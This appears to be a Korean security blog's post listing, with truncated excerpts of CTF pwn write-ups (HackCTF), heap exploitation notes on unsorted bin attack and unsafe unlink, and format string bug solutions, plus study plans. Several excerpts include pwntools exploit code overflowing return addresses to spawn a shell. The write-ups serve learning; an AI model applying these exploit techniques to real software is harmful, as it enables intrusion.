anonymous?

*IDA 기준으로 함수 이름 작성 * 메뉴1: sub_400DF8 함수 : malloc 함수 - 전역변수 buf, qword_6030f0, qword_603100, qword_6030e0, qword_603108, qword_6030e8 : heap 메모리 주소 저장하는 전역변수 - 전역변수 dword_603120, dword_603114, dword_603124, dword_603118, dword_603128, dword_60311c : 사용 상태 체크 변수 * 메뉴2 : sub_40120C 함수 : free 함수 * 메뉴3 : sub_4013E0 함수 : edit 함수 -> overwrite 전역변수에 heap 메모리 주소 저장한다. -> unsafe unlink 사용 가능 unk_603110 변수..

SYSTEM HACKING/CTF, etc 2020. 1. 10. 18:32

1. 목적 Unsorted Bin에 들어있는 unsorted chunk를 다시 할당할 때 unlink 과정에서 발생하는 취약점을 이용해서 main_arena 영역의 주소를 특정 메모리에 저장하는 것 * Unsorted Bin : 해제된 small chunk, large chunk 관리 2. Exploit Plan 1) 2개의 chunk 할당(malloc) 2) 1번째 chunk 해제(free) -> 해제된 1번째 chunk가 unsorted bin에 등록된다. 3) 1번째 chunk의 bk에 (해제되면 chunk의 user data 영역이 fd와 bk가 됨) 공격 대상 주소를 적는다. -> 64bit : &공격대상주소 - 0x10 * unlink() 과정에서 bck->fd = unsorted_chunks..

SYSTEM HACKING/Exploit Tech 2020. 1. 9. 16:08

# process getenv에서 name 변수에 입력받는데 overflow시켜서 return address를 spawn_shell 함수 주소로 덮어서 쉘을 실행시킨다. ELF로 실행파일을 로드해서 pwntools의 symbols로 spawn_shell 함수 주소를 구하려고 했는데 안 되서 그냥 주소를 줘서 구했다. # exploit code #!/usr/bin/python from pwn import * #p = process("./1996") p = remote("ctf.j0n9hyun.xyz", 3013) elf = ELF("./1996") spawn_shell = 0x400897 p.sendline('A'*(0x410+0x8) + p64(spawn_shell)) p.interactive() # e..

SYSTEM HACKING/HackCTF 2020. 1. 8. 23:51

# 보호기법 확인 # process passcode와 입력값이 같으면 core 함수를 호출해준다. Passcode는 v2인데, v2는 5번에 걸쳐 더한 결과이다. 따라서 5번에 나눠서 줘야 한다. hashcode 값은 0xc0d9b0a7인데 5로 나누면 0x2691f021이 나온다. 이걸 5로 곱하면 0xc0d9b0a5으로 2가 모자른데, 마지막 5번째를 0x2691f023으로 준다. 그럼 위와 같이 출력해준다. 문제는..printf 함수 주소가 한글로 둘러싸여 있다. 그래서 0까지 받고 0을 붙이기로 했다. 그리고 주소 다음은 p.recv()로 받는다. (실행파일로 구할 땐 잘 구해졌는데 remote로 구할 때는 안 되서 두 과정을 다르게 해야했다.) 처음에 주어진 hashcode 어떻게 쓰는건지만 알..

SYSTEM HACKING/HackCTF 2020. 1. 8. 23:48

Partial RELRO → GOT Overwrite 가능 1. keep secret : calloc # small secret → fastChunk buf = calloc(1, 0x28); read(0, buf, 0x28); # big secret → largeChunk qword_6020c0 = calloc(1, 0xfa0); read(0, qword_6020c0, 0xfa0); # hug secret → largeChunk qword_6020c8 = calloc(1, 0x61a80); read(0, qword_6020c8, 0x61a80); 전역변수인 buf, qword_6020c0, qword_6020c8 에 할당된 heap 주소 저장 → 할당한 메모리를 전역변수에서 관리하므로 UAF 사용 X s..

SYSTEM HACKING/CTF, etc 2020. 1. 8. 00:28

# pseudo code # process I문자를 입력하면 you로 replace해준다. 변수 s에 복사하고 출력해주므로 s를 overflow시키면 되는데, s의 크기는 0x3c = 60바이트이다. I 20개를 줘서 s를 덮고 A 4개로 SFP를 덮고 get_flag를 줘서 return address를 덮는다. 따라서 ‘I’*20 + ‘A’*4 + p32(get_flag) 로 payload를 준다. # exploit code #!/usr/bin/python from pwn import * #p = process("./gpwn") p = remote("ctf.j0n9hyun.xyz", 3011) elf = ELF("./gpwn") get_flag = elf.symbols['get_flag'] p.send..

SYSTEM HACKING/HackCTF 2020. 1. 8. 00:22

# process 1000000점을 획득해야 while문에서 break하고 reward() 함수를 호출해서 flag를 얻을 수 있다. 그리고 if문 조건에 제시된 단어 하나 당 100점씩 얻게 된다. 하지만 단어 10000개를 줘도 되지 않는다. 다른 방법으로 dword_6024e0 변수를 1000000으로 만들어야 한다. 타겟이 되는 변수는 bss 섹션에 위치한다. 따라서 이 주소가 고정적이다. gets() 함수의 입력버퍼인 poem의 위치도 확인해보면 bss 섹션에 위치하고 있다. dword_6024e0과 poem 변수 모두 고정적인 전역변수이다. &dword_6024e0 - &poem = 0x40 으로 poem+0x40 위치에 dword_6024e0이 위치한다. 즉, gets() 함수로 입력받을 때..

SYSTEM HACKING/HackCTF 2020. 1. 8. 00:19

how2heap의 unsafe_unlink.c와 Lazenca 문서를 보고 공부했다. Conditions 1. 공격자에 의해 생성된 heap 영역이 전역 변수와 같이 주소를 예상할 수 있는 영역에서 관리되어야 한다. 2. 공격자에 의해 크기가 0x80 이상의 heap 영역이 할당될 수 있어야 한다. Exploit plan 1. global 변수 chunk0_ptr 선언 이 포인터를 원하는 메모리 주소로 옮기고 이 포인터를 이용해 값을 적는 것이 목표 2. smallChunk 이상 크기의 chunk 2개 할당. - 0x80 크기의 청크 2개 할당 : 첫 번째 chunk는 전역변수에 저장한다. 실제 chunk 크기는 헤더(0x10) 포함 0x90 3. 첫 번째 chunk 안에 fakeChunk 1개 만든다...

SYSTEM HACKING/Exploit Tech 2020. 1. 5. 15:59

1.06 – 1.12 생활코딩 HTML 기획(3) – 웹사이트 완성(15) 1.13 – 1.19 생활코딩 CSS 수업 소개(1) – 박스 모델 써먹기(9) 1.20 – 1.26 생활코딩 JavaScript 수업소개(1) - 배열과 반복문의 활용(23) 1.27 – 2.02 생활코딩 JavaScript 함수 예고(24) – 객체의 활용(33) 2.03 – 2.09 webhacking.kr 2문제 2.10 – 2.16 webhacking.kr 2문제 2.17 – 2.23 webhacking.kr 2문제 2.24 – 3.01 webhacking.kr 2문제 생활코딩 https://opentutorials.org/course/3084 WEB1 - HTML & Internet - 생활코딩 --..

SISS/2020 2020. 1. 3. 23:43

- 1주차~8주차 : SWEA 매주 2문제 씩 - 16문제 중에서 2단계&3단계 풀기 (3단계 문제가 10문제 이상 풀 것) https://swexpertacademy.com/ SW Expert Academy SW 프로그래밍 역량 강화에 도움이 되는 다양한 학습 컨텐츠를 확인하세요! swexpertacademy.com 문제접근방식 + 코드 캡쳐(주석으로 코드설명) + 코드에 대한 간결한 설명 + 실행결과 캡쳐

SISS/2020 2020. 1. 3. 23:40

1. 보호기법 확인 2. 과정 read로 buf변수에 입력받은 후 buf변수 값을 출력할 때 그냥 printf(&buf)로 출력해서 FSB(format string bug) 취약점이 존재한다. 1) %n 서식자 사용한 방법 1)-1. 0x000000da => 0x0 0x0 0x0 0xda 입력한 AAAA가 8번째에서 출력된다. 길이를 8자리로 맞추기 위해 2번째 ~ 6번째까지는 %08x 5개를 출력하고, 7번째에는 0xda 10진수(218) - (처음 magic 주소 길이 + %08x 5개 길이 = 44) = 174, 즉 %174c를 주고, ㅡmagic 주소가 위치한 곳에 %n을 출력해서 magic addr에 0xda의 값으로 덮히도록 한다. 1)-2. 0xfaceb00c => 0xb00c 0xface ..

SYSTEM HACKING/CTF, etc 2020. 1. 2. 18:19

1. 보호기법 확인 2. 과정 password가 매 실행마다 random으로 결정되는데 그 값을 출력해주지 않는다. 근데 password를 입력했을 때 이 password 변수의 값과 일치해야지 flag 파일 내용이 출력된다. 근데 이름을 buf 변수에 입력받고 출력할 때 그냥 printf(&buf)로 출력해서 format string bug 취약점이 존재한다. 따라서 이름을 입력받을 때 password의 주소를 알 수 있으므로 FSB를 사용해서 password 값을 leak하고, nptr 변수에 패스워드를 입력받을 때 이 leak 한 값을 줘서 flag가 출력되도록 한다. $를 사용하면 %n 전까지의 정확한 위치를 알지 않아도 구할 수 있다. payload를 pay = p32(password_addr)..

SYSTEM HACKING/CTF, etc 2020. 1. 2. 17:59